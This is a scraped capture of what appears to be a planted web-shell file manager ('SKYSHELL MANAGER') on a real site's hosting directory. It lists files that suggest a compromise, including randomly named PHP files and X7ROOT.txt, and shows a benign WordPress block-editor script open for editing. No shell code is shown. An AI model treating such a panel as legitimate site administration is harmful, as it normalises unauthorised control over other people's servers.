📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: rich_text.js
import { BlockControls, RichText, } from '@wordpress/block-editor'; import { ToolbarGroup, DropdownMenu, Icon } from '@wordpress/components'; import { __, sprintf } from '@wordpress/i18n'; import { useEffect, useState, useRef } from '@wordpress/element'; import { headingLevel1, headingLevel2, headingLevel3, headingLevel4, headingLevel5, headingLevel6, paragraph, } from '@wordpress/icons'; // This control use to create richtext area in editor export const RichTextControl = (props) =>{ const { _props, propsName, value, tagName : TagName } = props; const { setAttributes, attributes } = _props; const [headingLevel, setHeadingLevel] = useState(null); const richRef = useRef(null); var newProps = { ...props }; var renderVal = pagelayerTrim(value); if(renderVal == `{{${propsName}}}`){ renderVal = ''; } delete newProps._props; delete newProps.propsName; delete newProps.value; delete newProps['pagelayer-editable']; const tagNames = ['p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6']; // Make child editable if child is single and wrapped by block tag var children = jQuery(`<div>${value}</div>`)[0].childNodes; var childTag = null; if( children.length == 1 && children[0].nodeType != 3 && tagNames.indexOf(children[0].localName) != -1 ){ childTag = children[0].localName; delete newProps.tagName; } // Save the rich text data with tag const HeadingFormatting = (value) => { if(headingLevel == null) return; var newTag = tagNames[headingLevel]; var newVal = `<${newTag}>${value}</${newTag}>`; if(children[0].attributes.length > 0){ newVal = `<${newTag} ${children[0].attributes}>${value}</${newTag}>`; } setAttributes({ [propsName]: newVal }); } useEffect( () => { //HeadingFormatting if (richRef.current) { richRef.current.dispatchEvent(new Event('input', { bubbles: true })); } }, [headingLevel]); useEffect(() => { if(children.length < 1){ return; } setHeadingLevel( tagNames.indexOf(children[0].localName) ); }, []); return ( <> { childTag ? ( <> <BlockControls group="block"> <HeadingLevelDropdown options={ [ 1, 2, 3, 4, 5, 6, 0 ] } value={ headingLevel } onChange={ ( newLevel ) => setHeadingLevel(newLevel) } /> </BlockControls> <TagName {...newProps}> <RichText ref={richRef} key="editable" tagName={childTag} keepPlaceholderOnFocus placeholder={'Add Content...'} onChange={ (value) => HeadingFormatting(value) } value={ children[0].innerHTML} {...children[0].attributes} /> </TagName> </> ) : ( <RichText key="editable" keepPlaceholderOnFocus placeholder={'Add Content...'} onChange={(value) => setAttributes({ [propsName]: value })} value={ pagelayer_empty(attributes[propsName]) ? renderVal : attributes[propsName]} {...newProps} /> )} </> ); } // HeadingLevelDropdown props. const HEADING_LEVELS = [ 1, 2, 3, 4, 5, 6 ]; export function HeadingLevelDropdown( { options = HEADING_LEVELS, value, onChange, } ) { const createLevelControl = ( targetLevel, currentLevel, onChangeCallback ) => { const isActive = targetLevel === currentLevel; return { icon: ( <HeadingLevelIcon level={ targetLevel } isPressed={ isActive } /> ), // translators: %s: heading level e.g: "1", "2", "3" // title: sprintf( __( 'Heading %d' ), targetLevel ), isActive, onClick: () => onChangeCallback( targetLevel ), }; }; return ( <DropdownMenu icon={ <HeadingLevelIcon level={ value } /> } controls={ options.map( ( index ) => createLevelControl( index, value, onChange ) ) } label={ __( 'Change level' ) } /> ); } // HeadingLevelIcon props. const LEVEL_TO_PATH = { 0: paragraph, 1: headingLevel1, 2: headingLevel2, 3: headingLevel3, 4: headingLevel4, 5: headingLevel5, 6: headingLevel6, }; export function HeadingLevelIcon( { level } ) { if ( LEVEL_TO_PATH[ level ] ) { return <Icon icon={ LEVEL_TO_PATH[ level ] } />; } return null; }
Save